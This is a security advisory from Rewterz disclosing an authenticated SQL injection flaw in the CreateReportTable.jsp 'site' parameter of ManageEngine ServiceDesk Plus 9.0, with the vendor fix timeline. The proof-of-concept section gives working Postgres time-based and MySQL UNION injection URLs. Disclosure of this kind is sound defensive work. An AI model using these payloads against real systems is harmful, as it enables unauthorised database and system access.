ManageEngine ServiceDesk 9.0 SQL Injection

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[REWTERZ-20140101] - Rewterz - Security Advisory  
  
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Title: ManageEngine ServiceDesk SQL Injection Vulnerability  
Product: ServiceDesk Plus (http://www.manageengine.com/)  
Affected Version: 9.0 (Other versions could also be affected)  
Fixed Version: 9.0 Build 9031  
Vulnerability Impact: High  
Advisory ID: REWTERZ-20140101  
Published Date: 22-Jan-2015  
Researcher: Muhammad Ahmed Siddiqui  
Email: ahmed [at] rewterz.com  
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-sql-injection-vulnerability  
  
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Product Introduction  
================  
  
ServiceDesk Plus is a help desk software with integrated asset and  
project management built on the ITIL framework. It is available in 29  
different languages and is used by more than 85,000 companies, across  
186 countries, to manage their IT help desk and assets.  
  
Source: http://www.manageengine.com/products/service-desk/  
  
  
Vulnerability Information  
==================  
  
Class: SQL Injection Vulnerability  
Impact: An Authenticated user could exploit this vulnerability to gain  
complete system access.  
Remotely Exploitable: Yes  
Authentication Required: Yes  
User interaction required: Yes  
CVE Name: N/A  
  
  
Vulnerability Description  
==================  
  
CreateReportTable.jsp page is prone to SQL injection via site  
variable. A user with limited privileges could exploit this  
vulnerability to gain complete database/system access.  
  
  
Proof-of-Concept  
=============  
  
Postgres DB:  
  
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND  
3133=(SELECT 3133 FROM PG_SLEEP(1))  
  
  
MySQL DB:  
  
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND UNION  
ALL SELECT user(),NULL,NULL,NULL,NULL  
  
  
Timeline  
======  
  
23-Dec-2014 – Notification to Vendor  
24-Dec-2014 – Response from Vendor  
30-Dec-2014 – Vulnerability fixed by Vendor  
  
  
About Rewterz  
===========  
  
Rewterz is a boutique Information Security company, committed to  
consistently providing world class professional security services. Our  
strategy revolves around the need to provide round-the-clock quality  
information security services and solutions to our customers. We  
maintain this standard through our highly skilled and professional  
team, and custom-designed, customer-centric services and products.  
  
http://www.rewterz.com  
  
Complete list of vulnerability advisories published by Rewterz:  
  
http://www.rewterz.com/resources/security-advisories  
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